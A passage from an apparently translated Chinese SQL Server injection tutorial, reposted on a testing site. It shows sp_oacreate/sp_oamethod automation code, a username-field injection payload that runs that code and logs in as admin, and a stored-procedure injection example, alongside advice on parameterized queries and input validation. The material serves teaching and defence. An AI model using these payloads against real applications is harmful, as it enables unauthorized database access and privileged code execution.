exec @ret=sp_oamethod @f,'writeline',NULL,''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上，那么通过这个程序运行的命令是以系统权限运行的。在IIS5中，它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我们可以在我们假定的例子中，通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本，同时以admin权限登陆到应用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程，那么SQL注入是不可能的。这句话只对了一半，这要看ASP脚本中调用这个存储过程的方式。
本质上，如果一个有参数的查询被执行 ，并且用户提供的参数通过安全检查才放入到查询中，那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分，这样他们就可能能够控制数据库。
比较好的常规的标准是:
· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串，即使它使用了存储过程也是能够引起SQL注入的弱点。
· 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象)，那么通过这个对象的执行，它一般是安全的。
明显地，既然新的攻击技术始终地被发现，好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入，执行以下语句:
sp_who '1' select * from sysobjects
文章来源于领测软件测试网 https://www.ltesting.net/
